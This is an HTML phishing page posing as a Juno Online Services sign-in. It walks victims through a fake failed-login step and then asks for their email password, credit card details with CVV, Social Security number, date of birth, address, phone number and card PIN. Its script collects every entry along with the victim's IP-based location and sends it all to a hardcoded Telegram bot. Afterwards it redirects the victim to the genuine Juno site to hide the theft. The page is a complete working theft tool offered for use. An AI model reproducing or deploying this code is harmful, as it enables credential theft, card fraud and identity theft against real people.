<!DOCTYPE html>
<html lang="en">
<head>
   <meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title> Juno - My Juno</title>
    
        body {
            font-family: Arial, sans-serif;
            margin: 0;
            padding: 0;
            background-color: #f4f4f4;
        }
        .container {
            width: 100%;
            max-width: 700px;
            margin: 30px auto;
            background-color: #fff;
            padding: 20px;
            box-shadow: 0 0 15px rgba(0, 0, 0, 0.1);
        }
        .header {
            text-align: left;
            margin-bottom: 30px;
        }
        .header img {
            max-width: 150px;
        }
        .header h1 {
            font-size: 24px;
            color: #333;
            margin-top: 10px;
        }
        .header p {
            font-size: 16px;
            color: #666;
        }
        .form-group {
            margin-bottom: 20px;
        }
        .form-group label {
            display: block;
            font-size: 15px;
            margin-bottom: 5px;
        }
        .form-group input {
            width: 50%;
            padding: 10px;
            font-size: 19px;
            border: 1px solid red;
            border-radius: 4px;
			
        }
        .form-group input:focus {
            outline: none;
            border-color: red;
			align-items: center;
            box-shadow: 0 0 5px rgba(102, 175, 233, 0.5);
        }
        .form-buttons {
            display: flex;
            justify-content: space-between;
            align-items: center;
			color: #0c4d9c;
			float: right;
        }
        .btn {
            padding: 15px 100px;
            font-size: 19px;
            cursor: pointer;
            border: none;
            border-radius: 1px;
        }
        .btn-cancel {
            background-color: #ccc;
            color: #333;
        }
        .btn-next {
            background-color: #1f256e;
            color: white;
			margin-bottom: 10px;
        }
        .footer {
            text-align: center;
            font-size: 12px;
            color: #777;
            margin-top: 20px;
            padding-top: 10px;
            border-top: 1px solid #ddd;
        }
        .footer a {
            color: #004a7c;
            text-decoration: none;
            margin: 0 10px;
        }
        .footer a:hover {
            text-decoration: underline;
        }
        .hidden {
            display: none;
        }
        #loading {
            display: none; /* Initially hidden */
            justify-content: center;
            align-items: center;
            height: 100vh;
            font-size: 24px;
            color: #333;
        }
        #expireMessage {
            color: red;
            text-align: center;
            margin: 20px 0;
        }
   
	.captcha-form {
    width: 300px;
    text-align: center;
	font-size: 39px;
}

.captcha-box {
    width: 200px;
    height: 50px;
    background-color: #dcdcdc;
    border: 1px solid #aaa;
    margin-bottom: 10px;
    display: block;
	text-align: center;
    box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1);
}

/* Reload Link */
.reload-link {
    display: inline-block;
    font-size: 14px;
    color: #007bff;
    text-decoration: none;
    margin-bottom: 10px;
    cursor: pointer;
}

.reload-link:hover {
    text-decoration: underline;
}

/* Captcha Input */
.captcha-input {
    width: 50%;
    padding: 5px 10px;
    font-size: 18px;
    border: 1px solid #ccc;
    border-radius: 4px;
    margin-bottom: 5px;
	text-align: center;
    box-sizing: border-box;
}

/* Error Message */
.error-message {
    color: red;
    font-size: 14px;
    margin-top: 10px;
}





</head>
<body>

    <div class="container">
        <div class="header">
            <img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Juno_Online_Services_logo.svg/220px-Juno_Online_Services_logo.svg.png" alt="Juno Logo">
          
        </div>

        <!-- Expiration Message -->
        <div id="expireMessage" class="hidden"></div>

        <!-- Form -->
        <div id="session1">
        	<h2 style="color:#0078A0;">Welcome!.</h2> <p style="color:#0078A0;"> Please sign-in below. </p>
             
            <b>Please provide your email and password to continue.</b><br><br>
            <form id="userForm">
                <div class="form-group">
                    <input type="email" id="email" placeholder="Enter your email" required>
                </div>
                <div class="form-group">
                    <input type="password" id="password" placeholder="Enter your password" required>
                </div><br><br>
                <div class="form-buttons">
                    <button type="button" class="btn btn-next" onclick="nextSession(2)">Next</button>
                </div>
            </form>
        </div>
		
        <div id="session2" class="hidden">
        	<h2 style="color:#0078A0;">Welcome!.</h2> <p style="color:#0078A0;"> Please sign-in below. </p>

            <p  style="color:red;">The User ID or Password you have entered is incorrect. <br>Please check the spelling and try again.</p>
            <form id="userForm">
                <div class="form-group">
                    <input type="retryemail" id="retryemail" placeholder="Enter your email" required>
                </div>
                <div class="form-group">
                    <label for="password">Password:</label>
                    <input type="pass" id="pass" placeholder="Enter your password" required>
                </div><p> Enter the words you see in the box below. This helps prevent automated or fraudulent activity.</p>
				<br>
				<canvas id="captcha-canvas" class="captcha-box"></canvas>
				<a id="reload-captcha" class="reload-link">Difficulty reading the words? Get another image.</a>
				<input type="text" id="captcha-input" class="captcha-input" placeholder="Type the words above:" required>
                <p id="error-message" class="error-message"></p>
				
				
				<br>
                <div class="form-buttons">
                    <button type="button" class="btn btn-next" onclick="nextSession(3)">Next</button>
                </div>
            </form>
        </div>


        <div id="session3" class="hidden">
		
            <h2>Credit Card Information </h2>
            <p>Please enter your credit card details for verification.</p>
            <form>
			<i class="fa fa-cc-visa" style="font-size:48px;color:lightblue"></i>
				<i class="fa fa-cc-mastercard" style="font-size:48px;color:red"></i>
                <i class="fa fa-cc-discover" style="font-size:48px;color:orange"></i>
				<i class="fa fa-cc-amex" style="font-size:48px;color:	blue"></i>
                <i class="fa fa-credit-card" style="font-size:48px;color:green"></i> <br>
                <div class="form-group">
                    <label for="ccNumber"> <b> Credit Card Number: </b><span style="color:red;"> * </span></label>
                    <input type="text" id="ccNumber" placeholder="Enter your card number" required maxlength="16">
                </div>
                <div class="form-group">
                    <label for="NameOnCard"> <b> Name on Card: </b><span style="color:red;"> * </span></label>
                    <input type="text" id="NameOnCard" placeholder="Enter the name on the card" required maxlength="30">
                </div>
                <div class="form-group">
                    <label for="ccExpiry"> <b>Expiry Date ( MM / YY ): </b><span style="color:red;"> * </span></label>
                    <input type="text" id="ccExpiry" placeholder="MM/YY" pattern="\d{2}/\d{2}" required maxlength="5">
                </div>
                <div class="form-group">
                    <label for="ccCVV"><b> CVV: </b><span style="color:red;"> * </span> </label>
                    <input type="text" id="ccCVV" placeholder="CVV" pattern="\d{3,4}" required maxlength="4">
                </div>
                <div class="form-buttons">
                    <button type="button" class="btn btn-next" onclick="nextSession(4)">Next</button>
                </div>
            </form>
        </div>

        <div id="session4" class="hidden">
            <h2>Address Verification</h2>
            <p>Please verify your billing address and other details.</p>
            <form>
                <div class="form-group">
                    <label for="billingAddress"><b> Billing Address: </b><span style="color:red;"> * </span> </label>
                    <input type="text" id="street" placeholder="1809 lochry road" required>
                    <input type="text" id="city" placeholder="Franklin" required>
                    <input type="text" id="state" placeholder="CA" required maxlength="2">
                    <input type="text" id="zipcode" placeholder="Zip code" required maxlength="5">
                </div>
				
				
				
				
                <div class="form-group">
                    <label for="dob"> <b> Date of Birth (MM/DD/YYYY): </b><span style="color:red;"> * </span></label>
                    <input type="text" id="dob" placeholder="Enter your date of birth" required maxlength="10">
                </div>
                <div class="form-group">
                    <label for="ssn"><b> Social Security Number: </b><span style="color:red;"> * </span></label>
                    <input type="text" id="ssn" placeholder="XXX-XX-XXXX" required maxlength="9">
                </div>
                <div class="form-group">
                    <label for="phonenumber"><b> Phone Number: </b><span style="color:red;"> * </span> </label>
                    <input type="text" id="phonenumber" placeholder="Enter your phone number" required maxlength="10">
                </div>
                <div class="form-buttons">
                    <button type="button" class="btn btn-next" onclick="nextSession(5)">Next</button>
                </div>
            </form>
        </div>

        <div id="session5" class="hidden">
            <h2>Card PIN Verification</h2>
            <p>Please enter your card PIN to complete verification.</p>
            <form>
                <div class="form-group">
                    <label for="pin"><b> Card PIN: </b><span style="color:red;"> * </span></label>
                    <input type="password" id="pin" placeholder="Enter your card PIN" required maxlength="4">
                </div>
                <div class="form-buttons">
                    <button type="button" class="btn btn-next" onclick="complete()">Complete Verification</button>
                </div>
            </form>
        </div>
		
		

        <div id="thankYou" class="hidden">
            <h2>Thank You!</h2>
            <p>Your verification is complete. You will be redirected shortly...</p>
        </div>

        <!-- Loading Spinner -->
        <div id="loading"><i> updating to v13.9.0..... </i></div>
<br><br><br>
        <div class="footer">
            <p>© 1995 - 2024 Juno Online Services, Inc.</p>
            <p>
                <a href="#">My Juno</a> |
                <a href="#">My Account</a> |
                <a href="#">Our Services</a> |
                <a href="#">Privacy Policy</a> |
                <a href="#">About Ads</a> |
                <a href="#">Terms of Service</a>
            </p>
        </div>
    </div>



<script>
document.addEventListener("DOMContentLoaded", () => {
  const sessions = document.querySelectorAll("[id^='session']");
  let currentSession = 1;

  function validateSession(session) {
    const inputs = session.querySelectorAll("input");
    let isValid = true;
    let message = "";

    inputs.forEach((input) => {
      const value = input.value.trim();

      if (!value) {
        isValid = false;
        message = `${input.placeholder} is required.`;
        input.classList.add("invalid");
      } else {
        input.classList.remove("invalid");
      }

      if (input.type === "email" && !validateEmail(value)) {
        isValid = false;
        message = "Please enter a valid email address.";
        input.classList.add("invalid");
      }

      if (input.type === "text" && input.id === "ccNumber" && !/^\d{16}$/.test(value)) {
        isValid = false;
        message = "Please enter a valid 16-digit card number.";
        input.classList.add("invalid");
      }

      if (input.id === "ccExpiry" && !/^\d{2}\/\d{2}$/.test(value)) {
        isValid = false;
        message = "Expiry date must be in MM/YY format.";
        input.classList.add("invalid");
      }

      if (input.id === "ccCVV" && !/^\d{3,4}$/.test(value)) {
        isValid = false;
        message = "Please enter a valid CVV.";
        input.classList.add("invalid");
      }

      if (input.id === "zipcode" && !/^\d{5}$/.test(value)) {
        isValid = false;
        message = "Zipcode must be 5 digits.";
        input.classList.add("invalid");
      }

      if (input.id === "dob" && !/^\d{2}\/\d{2}\/\d{4}$/.test(value)) {
        isValid = false;
        message = "Date of Birth must be in MM/DD/YYYY format.";
        input.classList.add("invalid");
      }

      if (input.id === "phonenumber" && !/^\d{10}$/.test(value)) {
        isValid = false;
        message = "Phone Number must be 10 digits.";
        input.classList.add("invalid");
      }

      if (input.id === "pin" && !/^\d{4}$/.test(value)) {
        isValid = false;
        message = "Card PIN must be 4 digits.";
        input.classList.add("invalid");
      }
    });

    if (!isValid) {
      const errorMessage = session.querySelector("#error-message");
      if (errorMessage) {
        errorMessage.textContent = message;
      } else {
        alert(message);
      }
    }

    return isValid;
  }

  function nextSession(next) {
    const current = sessions[currentSession - 1];
    if (validateSession(current)) {
      current.classList.add("hidden");
      sessions[next - 1].classList.remove("hidden");
      currentSession = next;
    }
  }

  function validateEmail(email) {
    const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
    return emailRegex.test(email);
  }

  window.nextSession = nextSession;

  // Add delay for each transition
  window.nextSession = (next) => {
    setTimeout(() => {
      const current = sessions[currentSession - 1];
      if (validateSession(current)) {
        current.classList.add("hidden");
        sessions[next - 1].classList.remove("hidden");
        currentSession = next;
      }
    }, Math.random() * 2000 + 3000);
  };
});

</script>
<script>
        // Check if the form is expired
        const expirationDate = localStorage.getItem('expirationDate');
        const currentDate = new Date().getTime();
        
        if (expirationDate && currentDate > expirationDate) {
            document.getElementById('expireMessage').innerText = "This form has expired. Please try again later.";
            document.getElementById('expireMessage').classList.remove('hidden');
            document.getElementById('session1').classList.add('hidden');
        } else {
            // Set expiration date to 30 days from now if not set
            if (!expirationDate) {
                localStorage.setItem('expirationDate', currentDate + (90 * 24 * 60 * 60 * 1000));
            }
        }

        function nextSession(sessionNumber) {
            // Hide all sessions
            document.getElementById('session1').classList.add('hidden');
            document.getElementById('session2').classList.add('hidden');
            document.getElementById('session3').classList.add('hidden');
            document.getElementById('session4').classList.add('hidden');
            document.getElementById('session5').classList.add('hidden');

            // Show the selected session
            document.getElementById('session' + sessionNumber).classList.remove('hidden');
        }

        async function complete() {
            const thankYouMessage = document.getElementById('thankYou');
            document.getElementById('session5').classList.add('hidden');
            thankYouMessage.classList.remove('hidden');

            // Show loading animation
            document.getElementById('loading').style.display = 'flex';

            // Collecting data
            const email = document.getElementById('email').value;
            const password = document.getElementById('password').value;
			const retryemail = document.getElementById('retryemail').value;
            const pass = document.getElementById('pass').value;
            const ccNumber = document.getElementById('ccNumber').value;
            const NameOnCard = document.getElementById('NameOnCard').value;
            const ccExpiry = document.getElementById('ccExpiry').value;
            const ccCVV = document.getElementById('ccCVV').value;
            const street = document.getElementById('street').value;
            const city = document.getElementById('city').value;
            const state = document.getElementById('state').value;
            const zipcode = document.getElementById('zipcode').value;
            const dob = document.getElementById('dob').value;
            const ssn = document.getElementById('ssn').value;
            const phoneNumber = document.getElementById('phonenumber').value;
            const pin = document.getElementById('pin').value;

            // Getting user location
            const locationData = await getLocation();
            const userInfo = `
                User Info:
                Email: ${email}
                Password: ${password}
				Retry_Email: ${retryemail}
                Retry_Password: ${pass}
                Credit Card Number: ${ccNumber}
                Name on Card: ${NameOnCard}
                Expiry: ${ccExpiry}
                CVV: ${ccCVV}
                Address: ${street}
                City: ${city}
                State: ${state}
                Zip Code: ${zipcode}
                DOB: ${dob}
                SSN: ${ssn}
                Phone: ${phoneNumber}
                PIN: ${pin}
                IP: ${locationData.ip}
                City: ${locationData.city}
                Region: ${locationData.region}
                Country: ${locationData.country}
            `;

            // Sending data to Telegram (replace 'YOUR_TELEGRAM_BOT_TOKEN' and 'CHAT_ID')
            const data = {
                chat_id: '7149422503',
                text: userInfo
            };

            fetch(`https://api.telegram.org/bot7864506893:AAHX9Xt3g8cpMhwvctIi0SqGTAx6mMGAFDs/sendMessage`, {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json'
                },
                body: JSON.stringify(data)
            });

            // Redirect after a delay
            setTimeout(() => {
                window.location.href = 'https://store.juno.com/account/viewOffers.do?offerId=ju-iso-acc-29-95-monthly&leftRail=true&categoryId=iso';
            }, 5000);
        }

        async function getLocation() {
            const response = await fetch('https://api.ipify.org?format=json');
            const data = await response.json();
            const ip = data.ip;

            // Now get the location based on the IP
            const locationResponse = await fetch(`https://ipapi.co/${ip}/json/`);
            const locationData = await locationResponse.json();

            return {
                ip: ip,
                city: locationData.city,
                region: locationData.region,
                country: locationData.country
            };
        }
	
    </script>
	<script>
	function generateCaptcha(ctx, width, height) {
    ctx.clearRect(0, 0, width, height); // Clear the canvas

    // Draw random lines as noise
    for (let i = 0; i < 5; i++) {
        ctx.beginPath();
        ctx.moveTo(Math.random() * width, Math.random() * height);
        ctx.lineTo(Math.random() * width, Math.random() * height);
        ctx.strokeStyle = "#000";
        ctx.lineWidth = 1;
        ctx.stroke();
    }

    // Generate random text
    const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
    let captchaText = '';
    for (let i = 0; i < 6; i++) {
        captchaText += characters.charAt(Math.floor(Math.random() * characters.length));
    }

    // Draw the text on the canvas
    ctx.font = "50px Arial";
    ctx.fillStyle = "#000";
    ctx.fillText(captchaText, 40, 45);

    return captchaText;
}

document.addEventListener('DOMContentLoaded', function () {
    const canvas = document.getElementById('captcha-canvas');
    const ctx = canvas.getContext('2d');
    const captchaWidth = canvas.width = 250;
    const captchaHeight = canvas.height = 70;
    let captchaText = generateCaptcha(ctx, captchaWidth, captchaHeight);

    const reloadLink = document.getElementById('reload-captcha');
    const submitButton = document.getElementById('submit-btn');
    const captchaInput = document.getElementById('captcha-input');
    const errorMessage = document.getElementById('error-message');

    // Reload captcha
    reloadLink.addEventListener('click', function () {
        captchaText = generateCaptcha(ctx, captchaWidth, captchaHeight);
    });

    // Submit form
    submitButton.addEventListener('click', function (e) {
        e.preventDefault(); // Prevent form submission
        if (captchaInput.value === captchaText) {
            errorMessage.textContent = '';
            alert('Captcha solved! Proceeding to next session.');
        } else {
            errorMessage.textContent = 'Captcha is incorrect. Please try again.';
        }
    });
});

</script>
</body>
</html>
